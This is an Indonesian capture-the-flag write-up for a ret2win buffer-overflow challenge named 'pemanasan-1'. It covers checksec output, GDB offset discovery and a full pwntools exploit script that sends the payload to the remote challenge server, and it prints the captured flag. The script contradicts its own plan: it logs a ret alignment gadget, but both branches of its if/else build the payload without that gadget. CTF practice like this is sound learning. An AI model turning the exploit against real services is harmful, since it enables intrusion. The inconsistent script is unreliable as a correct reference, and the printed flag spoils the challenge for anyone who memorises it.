

Pemanasan-1

Player: constantine

Kategori: Binary Exploitation

Challenge

29 Solves

pemanasan-1


220

Easy-Medium

inimah loncat loncat doang

author: ooflamp

ncat -v pemanasan-1.ctf.forestylab.com 5000 --ssl

 run

Flag

Submit

Phase 1: Recon & Static Analysis

```
constantine ~/0precForesty/pemanasan-1 (solved) v3.13.7
22:04 > ./run
Inputkan nama anda: 
```


Binary bernama **run**, dan ketika dijalankan langsung meminta input. Pemeriksaan awal dilakukan untuk melihat proteksi dan fungsi penting.

```
constantine ~/0precForesty/pemanasan-1 (solved) v3.13.7 22:05 > checksec --file=run
RELRO      STACK CANARY NX      PIE      RPATH      RUNPATH      Symbols      FORTIFY Fortified      Fortifiable      FILE
Partial RELRO No canary found NX enabled No PIE      No RPATH      No RUNPATH      43 Symbols      No      0      3      run
```

Hasil pengecekan menunjukkan:

- **Canary:** Disabled
- **PIE:** Disabled → alamat fungsi statis
- **NX:** Enabled

Karena Canary mati, buffer overflow langsung memungkinkan.

```
0000000004011ff <win>:
4011ff:      f3 0f 1e fa      endbr64
401203:      55              push    %rbp

0000000004012a4 <vuln>:
4012a4:      f3 0f 1e fa      endbr64
4012a8:      55              push    %rbp
```

Terdapat dua fungsi penting:

- **vuln()** → tempat bug buffer overflow
- **win()** → tujuan serangan

Kita akan lakukan **Ret2Win** dengan menimpa return address di **vuln()** agar melompat ke **win()**.

Phase 2: Debugging & Finding Offset

Dibutuhkan offset tepat dari awal buffer hingga return address.

1. Generate 100 byte cyclic pattern

```
constantine ~/0precForesty/pemanasan-1 (solved) v3.13.7
22:08 > pwn cyclic 100
aaaabaaacaaadaaaeeaaafaaagaaahaaiaaaajaaakaaalaaamaaaanaaaooaaapaaaqaaa
raaasaaataaauaaaavaaaawaaaxaaayaaa
```

Digunakan untuk memicu crash dan mengetahui offset secara akurat.

2. Trigger crash di GDB

```
(gdb) run
Starting program: /home/constantine/OprecForesty/pemanasan-1 (solved)
/run

This GDB supports auto-downloading debuginfo from the following URLs
:
  <https://debuginfod.cachyos.org>
  <https://debuginfod.archlinux.org>
Enable debuginfod for this session? (y or [n]) n
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to
.gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Inputkan nama anda: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaaa
maaanaaaooaapaaaqaaaraaasaaataaaauaaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004012d2 in vuln () at main.c:27
warning: 27      main.c: No such file or directory
(gdb) x/gx $rsp
0x7fffffffef0c8: 0x6161617461616173
(gdb) █
```

Binary dijalankan di gdb dan diberikan pattern sebagai input.

Register RSP setelah crash berisi:

0x6161617461616173

3. Hitung offset

```
constantine ~/OprecForesty/pemanasan-1 (solved) v3.13.7 22:13 > pwn cyclic -l 0x6161617461616173
72
```

Pattern tersebut dikembalikan ke pwn cyclic tool, dan hasilnya:

Offset = 72 bytes

Jadi untuk mencapai RIP, dibutuhkan **72 byte padding**.

Phase 3: Crafting Payload Ret2Win

Setelah offset ditemukan, langkah berikutnya adalah menentukan alamat fungsi `win()` dari ELF:

```
target_addr = elf.symbols['win']
```

Karena sistem remote membutuhkan alignment 16-byte untuk instruksi tertentu (`movaps`), payload juga perlu gadget `ret` sebelum melompat ke `win()`.

Payload PoC

```
[72 bytes padding] + [ret gadget] + [win()]
```

Script (poc.py)

Kita bisa meminta ChatGPT untuk membuat PoC Payload kita:

```
from pwn import *

# --- KONFIGURASI MISI ---
context.log_level = 'INFO'
binary_path = './run'
host = 'pemanasan-1.ctf.forestylab.com'
port = 5000

# 1. Load Binary & Context
elf = ELF(binary_path, checksec=False)
context.binary = elf

# 2. Koneksi ke Target
io = remote(host, port, ssl=True)

# 3. Parameter Payload
offset = 72

# 4. Tentukan Target Address (Fungsi 'win')
```



```

if 'win' in elf.symbols:
    target_addr = elf.symbols['win']
    log.success(f"Target Function (win) found at: {hex(target_addr)}")
else:
    log.error("Critical: Simbol 'win' tidak ditemukan! Cek ulang binary.")
    exit()

# 5. Stack Alignment (RET Gadget)
rop = ROP(elf)
try:
    ret_gadget = rop.find_gadget(['ret'])[0]
    log.info(f"Alignment Gadget (RET): {hex(ret_gadget)}")
except:
    log.warning("RET gadget tidak ditemukan, mencoba payload tanpa alignment...")
    ret_gadget = 0x0

# 6. Rakit Payload Final
if ret_gadget != 0:
    payload = flat(
        b'A' * offset,
        p64(target_addr)
    )
else:
    payload = flat(
        b'A' * offset,
        p64(target_addr)
    )

# 7. Eksekusi
log.info("Mengirim payload...")
io.recvuntil(b':')
io.sendline(payload)

# 8. Capture Flag
log.success("Payload terkirim! Masuk mode interaktif untuk melihat flag...")
io.interactive()

```



```
constantine ~/0precForesty/pemanasan-1 (solved) v3.13.7 22:26 > python3 poc.py
[+] Opening connection to pemanasan-1.ctf.forestylab.com on port 5000: Done
[+] Target Function (win) found at: 0x4011ff
[*] Loaded 5 cached gadgets for './run'
[*] Alignment Gadget (RET): 0x40101a
[*] Mengirim payload...
[+] Payload terkirim! Masuk mode interaktif untuk melihat flag...
[*] Switching to interactive mode
FORESTY{lompat_lompat_duar_awokwk_ab30f3df}
[*] Got EOF while reading in interactive
$
```

Saat payload disuntik ke server, eksekusi berhasil melompat ke `win()` dan kita dapat flagnya.

Final Flag

FORESTY{lompat_lompat_duar_awokwk_ab30f3df}